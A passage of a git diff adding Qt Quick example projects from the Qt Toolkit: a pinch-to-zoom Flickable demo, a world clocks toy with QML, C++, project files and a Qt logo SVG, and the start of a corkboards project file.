+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.1
+
+Rectangle {
+ width: 640
+ height: 360
+ color: "gray"
+
+ Flickable {
+ id: flick
+ anchors.fill: parent
+ contentWidth: 500
+ contentHeight: 500
+
+ PinchArea {
+ width: Math.max(flick.contentWidth, flick.width)
+ height: Math.max(flick.contentHeight, flick.height)
+
+ property real initialWidth
+ property real initialHeight
+ onPinchStarted: {
+ initialWidth = flick.contentWidth
+ initialHeight = flick.contentHeight
+ }
+
+ onPinchUpdated: {
+ // adjust content pos due to drag
+ flick.contentX += pinch.previousCenter.x - pinch.center.x
+ flick.contentY += pinch.previousCenter.y - pinch.center.y
+
+ // resize content
+ flick.resizeContent(initialWidth * pinch.scale, initialHeight * pinch.scale, pinch.center)
+ }
+
+ onPinchFinished: {
+ // Move its content within bounds.
+ flick.returnToBounds()
+ }
+
+ Rectangle {
+ width: flick.contentWidth
+ height: flick.contentHeight
+ color: "white"
+ Image {
+ anchors.fill: parent
+ source: "qt-logo.jpg"
+ MouseArea {
+ anchors.fill: parent
+ onDoubleClicked: {
+ flick.contentWidth = 500
+ flick.contentHeight = 500
+ }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/examples/declarative/touchinteraction/pincharea/qml/pincharea/qt-logo.jpg b/examples/declarative/touchinteraction/pincharea/qml/pincharea/qt-logo.jpg
new file mode 100644
index 00000000..4014b465
--- /dev/null
+++ b/examples/declarative/touchinteraction/pincharea/qml/pincharea/qt-logo.jpg
Binary files differ
diff --git a/examples/declarative/touchinteraction/touchinteraction.pro b/examples/declarative/touchinteraction/touchinteraction.pro
new file mode 100644
index 00000000..1228f141
--- /dev/null
+++ b/examples/declarative/touchinteraction/touchinteraction.pro
@@ -0,0 +1,4 @@
+TEMPLATE = subdirs
+SUBDIRS = gestures/experimental-gestures/experimentalgestures.pro \
+ mousearea/mousearea-example/mouseareaexample.pro \
+ pincharea
diff --git a/examples/declarative/toys/clocks/clocks.png b/examples/declarative/toys/clocks/clocks.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/toys/clocks/clocks.png
Binary files differ
diff --git a/examples/declarative/toys/clocks/clocks.pro b/examples/declarative/toys/clocks/clocks.pro
new file mode 100644
index 00000000..dcb5d41e
--- /dev/null
+++ b/examples/declarative/toys/clocks/clocks.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/clocks
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE96223F9
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/toys/clocks
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/toys/clocks/clocks.qmlproject b/examples/declarative/toys/clocks/clocks.qmlproject
new file mode 100644
index 00000000..9110992a
--- /dev/null
+++ b/examples/declarative/toys/clocks/clocks.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/clocks"
+ }
+ JavaScriptFiles {
+ directory: "qml/clocks"
+ }
+ ImageFiles {
+ directory: "qml/clocks"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/toys/clocks/clocks.svg b/examples/declarative/toys/clocks/clocks.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/toys/clocks/clocks.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/toys/clocks/main.cpp b/examples/declarative/toys/clocks/main.cpp
new file mode 100644
index 00000000..1a56f891
--- /dev/null
+++ b/examples/declarative/toys/clocks/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/clocks/clocks.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/toys/clocks/qml/clocks/clocks.qml b/examples/declarative/toys/clocks/qml/clocks/clocks.qml
new file mode 100644
index 00000000..5359c81f
--- /dev/null
+++ b/examples/declarative/toys/clocks/qml/clocks/clocks.qml
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ width: 640; height: 240
+ color: "#646464"
+
+ Row {
+ anchors.centerIn: parent
+ Clock { city: "New York"; shift: -4 }
+ Clock { city: "Mumbai"; shift: 5.5 }
+ Clock { city: "Tokyo"; shift: 9 }
+ }
+ QuitButton {
+ anchors.right: parent.right
+ anchors.top: parent.top
+ anchors.margins: 10
+ }
+}
diff --git a/examples/declarative/toys/clocks/qml/clocks/content/Clock.qml b/examples/declarative/toys/clocks/qml/clocks/content/Clock.qml
new file mode 100644
index 00000000..43e702db
--- /dev/null
+++ b/examples/declarative/toys/clocks/qml/clocks/content/Clock.qml
@@ -0,0 +1,124 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: clock
+ width: 200; height: 230
+
+ property alias city: cityLabel.text
+ property int hours
+ property int minutes
+ property int seconds
+ property real shift
+ property bool night: false
+
+ function timeChanged() {
+ var date = new Date;
+ hours = shift ? date.getUTCHours() + Math.floor(clock.shift) : date.getHours()
+ night = ( hours < 7 || hours > 19 )
+ minutes = shift ? date.getUTCMinutes() + ((clock.shift % 1) * 60) : date.getMinutes()
+ seconds = date.getUTCSeconds();
+ }
+
+ Timer {
+ interval: 100; running: true; repeat: true;
+ onTriggered: clock.timeChanged()
+ }
+
+ Image { id: background; source: "clock.png"; visible: clock.night == false }
+ Image { source: "clock-night.png"; visible: clock.night == true }
+
+
+ Image {
+ x: 92.5; y: 27
+ source: "hour.png"
+ smooth: true
+ transform: Rotation {
+ id: hourRotation
+ origin.x: 7.5; origin.y: 73;
+ angle: (clock.hours * 30) + (clock.minutes * 0.5)
+ Behavior on angle {
+ SpringAnimation { spring: 2; damping: 0.2; modulus: 360 }
+ }
+ }
+ }
+
+ Image {
+ x: 93.5; y: 17
+ source: "minute.png"
+ smooth: true
+ transform: Rotation {
+ id: minuteRotation
+ origin.x: 6.5; origin.y: 83;
+ angle: clock.minutes * 6
+ Behavior on angle {
+ SpringAnimation { spring: 2; damping: 0.2; modulus: 360 }
+ }
+ }
+ }
+
+ Image {
+ x: 97.5; y: 20
+ source: "second.png"
+ smooth: true
+ transform: Rotation {
+ id: secondRotation
+ origin.x: 2.5; origin.y: 80;
+ angle: clock.seconds * 6
+ Behavior on angle {
+ SpringAnimation { spring: 2; damping: 0.2; modulus: 360 }
+ }
+ }
+ }
+
+ Image {
+ anchors.centerIn: background; source: "center.png"
+ }
+
+ Text {
+ id: cityLabel
+ y: 200; anchors.horizontalCenter: parent.horizontalCenter
+ color: "white"
+ font.bold: true; font.pixelSize: 14
+ style: Text.Raised; styleColor: "black"
+ }
+}
diff --git a/examples/declarative/toys/clocks/qml/clocks/content/QuitButton.qml b/examples/declarative/toys/clocks/qml/clocks/content/QuitButton.qml
new file mode 100644
index 00000000..c476b2b4
--- /dev/null
+++ b/examples/declarative/toys/clocks/qml/clocks/content/QuitButton.qml
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+Image {
+ source: "quit.png"
+ scale: quitMouse.pressed ? 0.8 : 1.0
+ smooth: quitMouse.pressed
+ MouseArea {
+ id: quitMouse
+ anchors.fill: parent
+ anchors.margins: -10
+ onClicked: Qt.quit()
+ }
+}
diff --git a/examples/declarative/toys/clocks/qml/clocks/content/background.png b/examples/declarative/toys/clocks/qml/clocks/content/background.png
new file mode 100644
index 00000000..a8859508
--- /dev/null
+++ b/examples/declarative/toys/clocks/qml/clocks/content/background.png
Binary files differ
diff --git a/examples/declarative/toys/clocks/qml/clocks/content/center.png b/examples/declarative/toys/clocks/qml/clocks/content/center.png
new file mode 100644
index 00000000..7fbd802a
--- /dev/null
+++ b/examples/declarative/toys/clocks/qml/clocks/content/center.png
Binary files differ
diff --git a/examples/declarative/toys/clocks/qml/clocks/content/clock-night.png b/examples/declarative/toys/clocks/qml/clocks/content/clock-night.png
new file mode 100644
index 00000000..cc7151a3
--- /dev/null
+++ b/examples/declarative/toys/clocks/qml/clocks/content/clock-night.png
Binary files differ
diff --git a/examples/declarative/toys/clocks/qml/clocks/content/clock.png b/examples/declarative/toys/clocks/qml/clocks/content/clock.png
new file mode 100644
index 00000000..462edacc
--- /dev/null
+++ b/examples/declarative/toys/clocks/qml/clocks/content/clock.png
Binary files differ
diff --git a/examples/declarative/toys/clocks/qml/clocks/content/hour.png b/examples/declarative/toys/clocks/qml/clocks/content/hour.png
new file mode 100644
index 00000000..f8061a12
--- /dev/null
+++ b/examples/declarative/toys/clocks/qml/clocks/content/hour.png
Binary files differ
diff --git a/examples/declarative/toys/clocks/qml/clocks/content/minute.png b/examples/declarative/toys/clocks/qml/clocks/content/minute.png
new file mode 100644
index 00000000..1297ec7c
--- /dev/null
+++ b/examples/declarative/toys/clocks/qml/clocks/content/minute.png
Binary files differ
diff --git a/examples/declarative/toys/clocks/qml/clocks/content/quit.png b/examples/declarative/toys/clocks/qml/clocks/content/quit.png
new file mode 100644
index 00000000..b822057d
--- /dev/null
+++ b/examples/declarative/toys/clocks/qml/clocks/content/quit.png
Binary files differ
diff --git a/examples/declarative/toys/clocks/qml/clocks/content/second.png b/examples/declarative/toys/clocks/qml/clocks/content/second.png
new file mode 100644
index 00000000..4aa9fb5e
--- /dev/null
+++ b/examples/declarative/toys/clocks/qml/clocks/content/second.png
Binary files differ
diff --git a/examples/declarative/toys/corkboards/corkboards.png b/examples/declarative/toys/corkboards/corkboards.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/toys/corkboards/corkboards.png
Binary files differ
diff --git a/examples/declarative/toys/corkboards/corkboards.pro b/examples/declarative/toys/corkboards/corkboards.pro
new file mode 100644
index 00000000..c9588e5c
--- /dev/null
+++ b/examples/declarative/toys/corkboards/corkboards.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/corkboards
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEAF97D84
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
